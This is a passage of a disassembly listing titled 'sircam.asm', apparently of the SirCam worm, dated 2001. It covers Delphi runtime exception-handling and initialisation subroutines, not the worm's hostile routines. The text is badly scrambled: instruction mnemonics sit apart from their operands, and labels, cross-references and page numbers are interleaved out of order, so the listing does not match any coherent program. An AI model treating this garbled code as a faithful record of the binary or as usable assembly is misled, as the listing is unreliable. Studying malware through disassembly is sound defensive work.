; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402F98
proc near
sub_402F98
pop
push
push
push
push
push
push
push
push
push
push
push
push
jmp
endp
; CODE XREF: sub_406CBC+11\031p
; sub_406CD4+37\031p ...
edx
esp
ebp
edi
esi
ebx
eax
edx
esp
7
1
0EEDFADEh
edx
j_RaiseException
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402FB4
proc near
arg_2C
= dword ptr
mov
mov
call
mov
mov
mov
mov
and
; CODE XREF: CODE:00402D23\030p
; sub_4031E0+50\031p ...
30h
eax, [esp+arg_2C]
dword ptr [eax+4], offset loc_402FFF
sub_4059F0
edx, [eax+0]
ecx, [edx]
[eax+0], ecx
eax, [edx+0Ch]
dword ptr [eax+4], 0FFFFFFFDh
sircam.asm
Fri Aug 10 12:42:44 2001
cmp
jz
mov
call
call
dword ptr [eax], 0EEDFADEh
short loc_402FEE
eax, [edx+8]
sub_402BDC
sub_402D4C
xor
add
mov
pop
mov
mov
pop
pop
pop
pop
eax, eax
esp, 14h
edx, fs:[eax]
ecx
edx, [edx]
[ecx], edx
ebp
edi
esi
ebx
loc_402FEE:
; CODE XREF: sub_402FB4+2B\030j
loc_402FFF:
sub_402FB4
66
; DATA XREF: sub_402FB4+4\030o
mov
eax, 1
retn
endp ; sp = 28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403008
proc near
arg_2C
= dword ptr
sub_403008
call
mov
mov
mov
mov
call
pop
mov
xor
pop
mov
pop
pop
call
jmp
endp
; CODE XREF: sub_4031E0+55\031p
; sub_403240+55\031p ...
30h
sub_4059F0
edx, [eax+0]
ecx, [edx]
[eax+0], ecx
eax, [edx+8]
sub_402BDC
edx
esp, [esp+0FFFFFFFCh+arg_2C]
eax, eax
ecx
fs:[eax], ecx
eax
ebp
sub_402DF8
edx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403038
proc near
arg_0
arg_4
= dword ptr
= dword ptr
xor
mov
mov
add
mov
call
retn
; CODE XREF: sub_401FD8+ED\030p
; sub_401FD8+142\030p ...
4
8
edx, edx
ecx, [esp+arg_4]
eax, [esp+arg_0]
ecx, 5
fs:[edx], eax
ecx
0Ch
sircam.asm
sub_403038
Fri Aug 10 12:42:44 2001
67
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403050
sub_403050
proc near
mov
[esp+0], edx
jmp
sub_4034BC
endp
; CODE XREF: CODE:004030F3\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40305C:
; CODE XREF: CODE:0040315B\031j
; CODE:00403167\031j
push
ebp
mov
ebp, esp
mov
edx, [ebp+8]
mov
eax, [edx]
cmp
eax, 0C0000092h
jg
short loc_403097
jz
short loc_4030C9
cmp
eax, 0C000008Eh
jg
short loc_403089
jz
short loc_4030CD
sub
eax, 0C0000005h
jz
short loc_4030D9
sub
eax, 87h
jz
short loc_4030C1
dec
eax
jz
short loc_4030D5
jmp
short loc_4030E9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403089:
; CODE XREF: CODE:00403072\030j
add
eax, 3FFFFF71h
sub
eax, 2
jb
short loc_4030C9
jz
short loc_4030C5
jmp
short loc_4030E9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403097:
; CODE XREF: CODE:00403069\030j
cmp
eax, 0C0000096h
jg
short loc_4030AF
jz
short loc_4030DD
sub
eax, 0C0000093h
jz
short loc_4030D5
dec
eax
jz
short loc_4030BD
dec
eax
jz
short loc_4030D1
jmp
short loc_4030E9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030AF:
; CODE XREF: CODE:0040309C\030j
sub
eax, 0C00000FDh
jz
short loc_4030E5
sub
eax, 3Dh
jz
short loc_4030E1
jmp
short loc_4030E9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
68
loc_4030BD:
; CODE XREF: CODE:004030A8\030j
mov
al, 0C8h
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030C1:
; CODE XREF: CODE:00403082\030j
mov
al, 0C9h
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030C5:
; CODE XREF: CODE:00403093\030j
mov
al, 0CDh
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030C9:
; CODE XREF: CODE:0040306B\030j
; CODE:00403091\030j
mov
al, 0CFh
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030CD:
; CODE XREF: CODE:00403074\030j
mov
al, 0C8h
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030D1:
; CODE XREF: CODE:004030AB\030j
mov
al, 0D7h
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030D5:
; CODE XREF: CODE:00403085\030j
; CODE:004030A5\030j
mov
al, 0CEh
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030D9:
; CODE XREF: CODE:0040307B\030j
mov
al, 0D8h
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030DD:
; CODE XREF: CODE:0040309E\030j
mov
al, 0DAh
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030E1:
; CODE XREF: CODE:004030B9\030j
mov
al, 0D9h
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030E5:
; CODE XREF: CODE:004030B4\030j
mov
al, 0CAh
jmp
short loc_4030EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4030E9:
; CODE XREF: CODE:00403087\030j
; CODE:00403095\030j ...
mov
loc_4030EB:
al, 0FFh
; CODE XREF: CODE:004030BF\030j
; CODE:004030C3\030j ...
and
eax, 0FFh
mov
edx, [edx+0Ch]
call
sub_403050
pop
ebp
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_4030FC:
mov
test
jnz
cmp
ja
lea
push
call
cmp
jz
69
; DATA XREF: sub_403198+D\031o
eax, [esp+4]
dword ptr [eax+4], 6
loc_403195
ds:byte_41C008, 0
short loc_403125
eax, [esp+4]
eax
j_UnhandledExceptionFilter
eax, 0
short loc_403195
loc_403125:
; CODE XREF: CODE:00403114\030j
mov
cld
call
mov
push
push
push
push
call
loc_403141:
eax, [esp+4]
sub_402B4C
edx, [esp+8]
0
eax
offset loc_403141
edx
j_RtlUnwind
mov
cmp
mov
mov
jz
mov
test
jz
mov
call
test
jz
mov
; DATA XREF: CODE:00403136\030o
ebx, [esp+4]
dword ptr [ebx], 0EEDFADEh
edx, [ebx+14h]
eax, [ebx+18h]
short loc_403170
edx, ds:dword_41E00C
edx, edx
loc_40305C
eax, ebx
edx
eax, eax
loc_40305C
edx, [ebx+0Ch]
call
mov
test
jz
call
; CODE XREF: CODE:00403151\030j
sub_402E14
ecx, ds:dword_41E000
ecx, ecx
short loc_403181
ecx
loc_403170:
loc_403181:
; CODE XREF: CODE:0040317D\030j
mov
ecx, [esp+4]
mov
eax, 0D9h
mov
edx, [ecx+14h]
mov
[esp], edx
jmp
sub_4034BC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403195:
; CODE XREF: CODE:00403107\030j
; CODE:00403123\030j
xor
retn
eax, eax
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403198
proc near
; CODE XREF: sub_4032A0+1D\031p
xor
edx, edx
lea
eax, [ebp-0Ch]
mov
ecx, fs:[edx]
mov
fs:[edx], eax
mov
[eax], ecx
mov
dword ptr [eax+4], offset loc_4030FC
mov
[eax+8], ebp
mov
ds:dword_41E4A0, eax
sircam.asm
sub_403198
Fri Aug 10 12:42:44 2001
70
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4031B8
proc near
; CODE XREF: sub_403390+BC\031p
xor
edx, edx
mov
eax, ds:dword_41E4A0
mov
ecx, fs:[edx]
cmp
eax, ecx
jnz
short loc_4031CF
mov
eax, [eax]
mov
fs:[edx], eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4031CD:
; CODE XREF: sub_4031B8+1E\031j
mov
ecx, [ecx]
cmp
jz
cmp
jnz
mov
mov
; CODE XREF: sub_4031B8+D\030j
ecx, 0FFFFFFFFh
short locret_4031DC
[ecx], eax
short loc_4031CD
eax, [eax]
[ecx], eax
loc_4031CF:
locret_4031DC:
sub_4031B8
; CODE XREF: sub_4031B8+1A\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4031E0
proc near
; CODE XREF: sub_4031E0+4B\031p
; sub_403240+4B\031p ...
push
mov
push
push
push
mov
mov
test
jz
mov
mov
xor
push
push
push
mov
test
jle
ebp
ebp, esp
ebx
esi
edi
edi, offset unk_41E49C
eax, [edi+8]
eax, eax
short loc_40323A
ebx, [edi+0Ch]
esi, [eax+4]
edx, edx
ebp
offset loc_403226
dword ptr fs:[edx]
fs:[edx], esp
ebx, ebx
short loc_40321C
dec
mov
mov
test
jz
call
; CODE XREF: sub_4031E0+3A\031j
ebx
[edi+0Ch], ebx
eax, [esi+ebx*8+4]
eax, eax
short loc_403218
eax
loc_40320A:
sircam.asm
Fri Aug 10 12:42:44 2001
loc_403218:
71
; CODE XREF: sub_4031E0+34\030j
test
jg
ebx, ebx
short loc_40320A
loc_40321C:
; CODE XREF: sub_4031E0+28\030j
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
jmp
short loc_40323A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403226:
; DATA XREF: sub_4031E0+1B\030o
jmp
loc_402E34
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
call
sub_4031E0
call
sub_402FB4
call
sub_403008
loc_40323A:
sub_4031E0
; CODE XREF: sub_4031E0+10\030j
; sub_4031E0+44\030j
pop
pop
pop
pop
retn
endp
edi
esi
ebx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_403240
proc near
; CODE XREF: sub_4032A0+29\031p
push
ebp
mov
ebp, esp
push
ebx
push
esi
push
edi
mov
eax, ds:dword_41E4A4
test
eax, eax
jz
short loc_40329A
mov
esi, [eax]
xor
ebx, ebx
mov
edi, [eax+4]
xor
edx, edx
push
ebp
push
offset loc_403286
push
dword ptr fs:[edx]
mov
fs:[edx], esp
cmp
esi, ebx
jle
short loc_40327C
loc_403268:
mov
inc
mov
test
jz
call
; CODE XREF: sub_403240+3A\031j
eax, [edi+ebx*8]
ebx
ds:dword_41E4A8, ebx
eax, eax
short loc_403278
eax
cmp
jg
esi, ebx
short loc_403268
loc_403278:
loc_40327C:
; CODE XREF: sub_403240+34\030j
; CODE XREF: sub_403240+26\030j
sircam.asm
Fri Aug 10 12:42:44 2001
72
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
jmp
short loc_40329A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403286:
; DATA XREF: sub_403240+19\030o
jmp
loc_402E34
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
call
sub_4031E0
call
sub_402FB4
call
sub_403008
loc_40329A:
sub_403240
; CODE XREF: sub_403240+D\030j
; sub_403240+44\030j
pop
pop
pop
pop
retn
endp
edi
esi
ebx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4032A0
sub_4032A0
proc near
; CODE XREF: sub_405A80+2C\031p
mov
ds:dword_41E4A4, eax
xor
eax, eax
mov
ds:dword_41E4A8, eax
mov
ds:dword_41E4AC, edx
mov
eax, [edx+4]
mov
ds:dword_41E01C, eax
call
sub_403198
mov
ds:byte_41E024, 0
call
sub_403240
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4032D0
proc near
push
ebx
push
esi
mov
ebx, [eax]
lea
esi, [eax+4]
loc_4032D7:
; CODE XREF: sub_40B2D4+1F\031p
sub_4032D0
; CODE XREF: sub_4032D0+17\031j
mov
mov
mov
call
add
dec
jnz
pop
pop
retn
endp
eax, [esi+4]
edx, [esi]
eax, [eax]
sub_404B80
esi, 8
ebx
short loc_4032D7
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
sub_4032EC
Fri Aug 10 12:42:44 2001
proc near
push
ebx
push
esi
mov
ebx, [eax]
lea
esi, [eax+4]
; CODE XREF: sub_40B2D4+29\031p
loc_4032F3:
sub_4032EC
73
; CODE XREF: sub_4032EC+19\031j
mov
mov
mov
mov
add
mov
add
dec
jnz
pop
pop
retn
endp
eax, [esi+4]
edx, [esi]
ecx, [esi+8]
eax, [eax]
eax, ecx
[edx], eax
esi, 0Ch
ebx
short loc_4032F3
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40330C
proc near
; CODE XREF: sub_403390+38\031p
push
ebx
mov
eax, ds:dword_41E030
mov
ebx, offset aAt00000000 ; " at 00000000"
mov
ecx, 0Ah
loc_40331D:
xor
div
add
mov
dec
test
jnz
mov
call
mov
xchg
sub
mov
loc_403344:
sub_40330C
mov
and
mov
mov
dec
shr
jnz
pop
retn
endp
; CODE XREF: sub_40330C+1D\031j
edx, edx
ecx
dl, 30h
[ebx], dl
ebx
eax, eax
short loc_40331D
eax, ds:dword_41E038
sub_404610
edx, ds:dword_41E038
eax, edx
eax, edx
ebx, offset aAt00000000+0Ch
; CODE XREF: sub_40330C+49\031j
edx, eax
edx, 0Fh
dl, byte ptr ds:unk_41C050[edx]
[ebx], dl
ebx
eax, 4
short loc_403344
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40335C
proc near
; CODE XREF: sub_403390+D0\031p
mov
edi, offset unk_41E49C
sircam.asm
Fri Aug 10 12:42:44 2001
sub_40335C
mov
ebx, ds:dword_41E4B4
mov
ebp, ds:dword_41E4B0
push
dword ptr [edi+1Ch]
push
dword ptr [edi+20h]
mov
esi, [edi]
mov
ecx, 0Bh
repe movsd
pop
edi
pop
esi
xor
eax, eax
xchg
eax, ds:dword_41E030
neg
eax
sbb
eax, eax
inc
eax
leave
retn
0Ch
endp ; sp = 4
74
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403390
proc near
; CODE XREF: CODE:004034B6\031j
push
ebx
push
esi
push
edi
push
ebp
mov
ebx, offset unk_41E49C
mov
esi, offset dword_41E030
mov
edi, offset unk_41E034
cmp
byte ptr [ebx+24h], 0
jnz
short loc_4033BF
cmp
dword ptr [edi], 0
jz
short loc_4033BF
loc_4033AE:
mov
mov
xor
mov
mov
call
cmp
jnz
; CODE XREF: sub_403390+2D\031j
edx, [edi]
eax, edx
edx, edx
[edi], edx
ebp, eax
ebp
dword ptr [edi], 0
short loc_4033AE
loc_4033BF:
; CODE XREF: sub_403390+17\030j
; sub_403390+1C\030j
cmp
ds:dword_41E038, 0
jz
short loc_40340F
call
sub_40330C
cmp
ds:byte_41E040, 0
jz
short loc_4033EC
mov
edx, offset unk_41C028
mov
eax, offset unk_41E214
call
sub_40528C
call
sub_40520F
jmp
short loc_403408
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4033EC:
cmp
jnz
push
push
push
push
call
; CODE XREF: sub_403390+44\030j
ds:byte_41C010, 0
short loc_403408
0
offset aError
; "Error"
offset unk_41C028
0
j_MessageBoxA
sircam.asm
Fri Aug 10 12:42:44 2001
loc_403408:
; CODE XREF: sub_403390+5A\030j
; sub_403390+63\030j
xor
mov
eax, eax
ds:dword_41E038, eax
cmp
jnz
cmp
jnz
xor
mov
; CODE XREF: sub_403390+36\030j
; sub_403390+F1\031j
byte ptr [ebx+24h], 2
short loc_40341F
dword ptr [esi], 0
short loc_40341F
eax, eax
[ebx+0Ch], eax
loc_40340F:
loc_40341F:
; CODE XREF: sub_403390+83\030j
; sub_403390+88\030j
call
cmp
jbe
cmp
jz
sub_4031E0
byte ptr [ebx+24h], 1
short loc_40342F
dword ptr [esi], 0
short loc_40344C
mov
test
jz
call
mov
mov
cmp
jz
push
call
eax, [ebx+10h]
eax, eax
